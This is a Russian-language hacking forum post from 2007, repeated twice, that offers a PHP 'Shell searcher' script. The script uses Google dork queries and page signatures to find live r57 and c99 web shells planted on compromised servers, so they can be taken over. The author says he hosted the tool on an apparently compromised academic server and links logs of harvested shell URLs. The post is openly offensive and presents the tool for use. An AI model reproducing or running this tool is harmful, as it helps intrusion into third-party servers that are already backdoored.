А®ТеS
17.11.2007, 02:03
Вообщем идея висела в воздухе давно, наконец то решил реализовать. Смысл такой:
Ты не единственный хеккер на планете и другие хеккеры порой пользуються пабликовым софтом (в нашем случаем http шеллами). Как и любой линк, URL шелла залитого другим хеккером МОЖЕТ оказаться в базе гугля. ВОт примерный запрос для r57shell к Google: "intitle:r57shell filetype:php". В ответ - куча результатов, парсить каждый из них руками фпадлу (один раз я так сделал :)), поэтому пишем скрипт который автоматически производит поиск и выдирает живые линки. Критерия только два - запрос к гуглю и сигнатура шелла (например строка "r57shell" хотя к этому и нельзя привязываться). В моем скрипте есть несколько алиасов (уже готовых запросов и сигнутур) для поиска популярных веб-шеллов (c99 & r57). Вообщем вот код:
<?php
/*
Shell searcher v. 0.02 - little script for search http shells (or other stuff, but general - http shells)
(C)oded by Artes (king Artas). BIG thnx to Draco for idea and help in realisation.
*/
//This setting special for expert users
$r57shellsignature = "tr {
BORDER-RIGHT: #aaaaaa 1px solid;
BORDER-TOP: #eeeeee 1px solid;
BORDER-LEFT: #eeeeee 1px solid;
BORDER-BOTTOM: #aaaaaa 1px solid;
color: #000000;
}";
$googlequestforr57shell = "intitle:r57shell";
$c99shellsignature = '<p align="left"><b>Software:';
$googlequestforc99shell = "intitle:c99shell";
//end settings
error_reporting(0);
ignore_user_abort(true);
set_time_limit(0);
$content = "<form method=post><div align='center'><table><tr><td colspan=2 align=center><font color='bold'><b>Handmade forever!</b></font></td></tr><tr><td>Quest for Google:</td><td><input type='text' name='quest' size=40></td></tr><tr><td>Signature for search:</td><td><textarea NAME='signature' ROWS=10 COLS=30></textarea></td></tr><tr><td>Logged to:</td><td><input type='text' name='logto' size=40 value='log.txt'></td></tr><tr><td colspan=2 align=center><input type='submit' value='! GO !'></td></tr></table></div></form><form method=post><div align='center'><table><tr><td colspan=2 align=center><font color='bold'><b>Or use Aliase:</b></font></td></tr><tr><td>Please, select aliase: </td><td><select name='aliase'><option value='r57' selected>Find r57shell by great team RST :)</option><option value='c99'>Find c99shell</option></select></td></tr><tr><td>Logged to:</td><td><input type='text' name='logto' size=40 value='log.txt'></td></tr><tr><td colspan=2 align=center><input type=submit value='! GO !'></td></tr></table></div></form>";
if (!isset($_POST["quest"]) && !isset($_POST["signature"]) && !isset($_POST["aliase"]))
{
echo $content;
Exit(0);
}
if (isset($_POST["aliase"]))
{
Switch ($_POST["aliase"])
{
Case "r57":
$_POST["quest"] = $googlequestforr57shell;
$_POST["signature"] = $r57shellsignature;
break;
Case "c99":
$_POST["quest"] = $googlequestforc99shell;
$_POST["signature"] = $c99shellsignature;
break;
default:
echo "<div align=center><i><b><font size=+2>Bug aliase!!! Search stopped!!!</font></b></i><br></div>".$content;
}
}
$buff = file_get_contents("http://google.com/search?q=".$_POST["quest"]."&num=1");
$pos = strpos($buff, "Results <b>1</b> - <b>1</b> of about <b>");
if ($pos == 0)
{
echo "<div align=center><i><b><font size=+2>Google return NULL results!!! Must Die!!! Search stopped!!!</font></b></i><br></div>".$content;
Exit(0);
}
$count = str_replace(",", "", substr($buff, $pos + 40, strpos($buff, "</b> for <b>".$_POST["quest"]."</b>.") - $pos - 40));
$i = (int)($count / 100);
if ($count % 100 != 0)
{
$i++;
}
$buff = "";
for ($j = 0; $j < $i; $j++)
{
$buff .= file_get_contents("http://google.com/search?q=".$_POST["quest"]."&num=100&start=".$j * 100);
}
$pattern = "/http:\/\/[a-zA-Z0-9\.\-_]+[a-zA-Z0-9\.\-_\/?&=]+/";
$n = preg_match_all($pattern, $buff, $res);
for ($i = 0; $i < $n; $i++)
{
if (((strpos($res[0][$i], "/search?q=cache") != 0) && (preg_match("/http:\/\/[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+/", $res[0][$i]) == 1)) || (preg_match("/google\.(com|ru)/", $res[0][$i]) == 1))
{
unset($res[0][$i]);
}
}
$fp = fopen($_POST["logto"], "w");
foreach ($res[0] as $value)
{
$buff = file_get_contents($value);
if (strpos($buff, $_POST["signature"]) != 0)
{
fwrite($fp, $value."\r\n");
}
}
?>
Несколько нюансов - Searcher работает крайне тормознуто из за тупого file_get_contents() (с сокетами работать банально ФПАДЛУ было) и поэтому должно пройти существенное время перед отправкой запроса и получением всех результатов.
На директорию должны стоять права записи (чтобы логи можно было писать :)), т.е. проще всего отдать команду chmod 666 directory (для некоторых ситуаций можно и chmod 600 directory впринципе то...).
На беслптаных хостингах работать естественно не будет. В качестве бонуса уже залил на подходяий - http://bioportal.cnb.csic.es/sbg/search.php . Пользуйтесь наздоровье :). Кому фпадлу ждать результатов - вот по этим ссылкам уже прогоны по алиасам (с99 и р57):
http://bioportal.cnb.csic.es/sbg/log1.txt
http://bioportal.cnb.csic.es/sbg/log2.txt
http://bioportal.cnb.csic.es/sbg/log3.txt
З.Ы. Если какаянить сволочь затрет самплы которые выложены для демонстрации новым запросом... короче говоря убить мала будет =).
З.З.Ы. Сильно ногами не пинайте, писал в спешке для себя :).
З.З.З.Ы. от 25.11.07: Злобный админ прикрыл мой шелл, поэтому чтобы протестить тебе придеться куданить его залить самому =\.
Ты не единственный хеккер на планете и другие хеккеры порой пользуються пабликовым софтом (в нашем случаем http шеллами). Как и любой линк, URL шелла залитого другим хеккером МОЖЕТ оказаться в базе гугля. ВОт примерный запрос для r57shell к Google: "intitle:r57shell filetype:php". В ответ - куча результатов, парсить каждый из них руками фпадлу (один раз я так сделал :)), поэтому пишем скрипт который автоматически производит поиск и выдирает живые линки. Критерия только два - запрос к гуглю и сигнатура шелла (например строка "r57shell" хотя к этому и нельзя привязываться). В моем скрипте есть несколько алиасов (уже готовых запросов и сигнутур) для поиска популярных веб-шеллов (c99 & r57). Вообщем вот код:
<?php
/*
Shell searcher v. 0.02 - little script for search http shells (or other stuff, but general - http shells)
(C)oded by Artes (king Artas). BIG thnx to Draco for idea and help in realisation.
*/
//This setting special for expert users
$r57shellsignature = "tr {
BORDER-RIGHT: #aaaaaa 1px solid;
BORDER-TOP: #eeeeee 1px solid;
BORDER-LEFT: #eeeeee 1px solid;
BORDER-BOTTOM: #aaaaaa 1px solid;
color: #000000;
}";
$googlequestforr57shell = "intitle:r57shell";
$c99shellsignature = '<p align="left"><b>Software:';
$googlequestforc99shell = "intitle:c99shell";
//end settings
error_reporting(0);
ignore_user_abort(true);
set_time_limit(0);
$content = "<form method=post><div align='center'><table><tr><td colspan=2 align=center><font color='bold'><b>Handmade forever!</b></font></td></tr><tr><td>Quest for Google:</td><td><input type='text' name='quest' size=40></td></tr><tr><td>Signature for search:</td><td><textarea NAME='signature' ROWS=10 COLS=30></textarea></td></tr><tr><td>Logged to:</td><td><input type='text' name='logto' size=40 value='log.txt'></td></tr><tr><td colspan=2 align=center><input type='submit' value='! GO !'></td></tr></table></div></form><form method=post><div align='center'><table><tr><td colspan=2 align=center><font color='bold'><b>Or use Aliase:</b></font></td></tr><tr><td>Please, select aliase: </td><td><select name='aliase'><option value='r57' selected>Find r57shell by great team RST :)</option><option value='c99'>Find c99shell</option></select></td></tr><tr><td>Logged to:</td><td><input type='text' name='logto' size=40 value='log.txt'></td></tr><tr><td colspan=2 align=center><input type=submit value='! GO !'></td></tr></table></div></form>";
if (!isset($_POST["quest"]) && !isset($_POST["signature"]) && !isset($_POST["aliase"]))
{
echo $content;
Exit(0);
}
if (isset($_POST["aliase"]))
{
Switch ($_POST["aliase"])
{
Case "r57":
$_POST["quest"] = $googlequestforr57shell;
$_POST["signature"] = $r57shellsignature;
break;
Case "c99":
$_POST["quest"] = $googlequestforc99shell;
$_POST["signature"] = $c99shellsignature;
break;
default:
echo "<div align=center><i><b><font size=+2>Bug aliase!!! Search stopped!!!</font></b></i><br></div>".$content;
}
}
$buff = file_get_contents("http://google.com/search?q=".$_POST["quest"]."&num=1");
$pos = strpos($buff, "Results <b>1</b> - <b>1</b> of about <b>");
if ($pos == 0)
{
echo "<div align=center><i><b><font size=+2>Google return NULL results!!! Must Die!!! Search stopped!!!</font></b></i><br></div>".$content;
Exit(0);
}
$count = str_replace(",", "", substr($buff, $pos + 40, strpos($buff, "</b> for <b>".$_POST["quest"]."</b>.") - $pos - 40));
$i = (int)($count / 100);
if ($count % 100 != 0)
{
$i++;
}
$buff = "";
for ($j = 0; $j < $i; $j++)
{
$buff .= file_get_contents("http://google.com/search?q=".$_POST["quest"]."&num=100&start=".$j * 100);
}
$pattern = "/http:\/\/[a-zA-Z0-9\.\-_]+[a-zA-Z0-9\.\-_\/?&=]+/";
$n = preg_match_all($pattern, $buff, $res);
for ($i = 0; $i < $n; $i++)
{
if (((strpos($res[0][$i], "/search?q=cache") != 0) && (preg_match("/http:\/\/[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+/", $res[0][$i]) == 1)) || (preg_match("/google\.(com|ru)/", $res[0][$i]) == 1))
{
unset($res[0][$i]);
}
}
$fp = fopen($_POST["logto"], "w");
foreach ($res[0] as $value)
{
$buff = file_get_contents($value);
if (strpos($buff, $_POST["signature"]) != 0)
{
fwrite($fp, $value."\r\n");
}
}
?>
Несколько нюансов - Searcher работает крайне тормознуто из за тупого file_get_contents() (с сокетами работать банально ФПАДЛУ было) и поэтому должно пройти существенное время перед отправкой запроса и получением всех результатов.
На директорию должны стоять права записи (чтобы логи можно было писать :)), т.е. проще всего отдать команду chmod 666 directory (для некоторых ситуаций можно и chmod 600 directory впринципе то...).
На беслптаных хостингах работать естественно не будет. В качестве бонуса уже залил на подходяий - http://bioportal.cnb.csic.es/sbg/search.php . Пользуйтесь наздоровье :). Кому фпадлу ждать результатов - вот по этим ссылкам уже прогоны по алиасам (с99 и р57):
http://bioportal.cnb.csic.es/sbg/log1.txt
http://bioportal.cnb.csic.es/sbg/log2.txt
http://bioportal.cnb.csic.es/sbg/log3.txt
З.Ы. Если какаянить сволочь затрет самплы которые выложены для демонстрации новым запросом... короче говоря убить мала будет =).
З.З.Ы. Сильно ногами не пинайте, писал в спешке для себя :).
З.З.З.Ы. от 25.11.07: Злобный админ прикрыл мой шелл, поэтому чтобы протестить тебе придеться куданить его залить самому =\.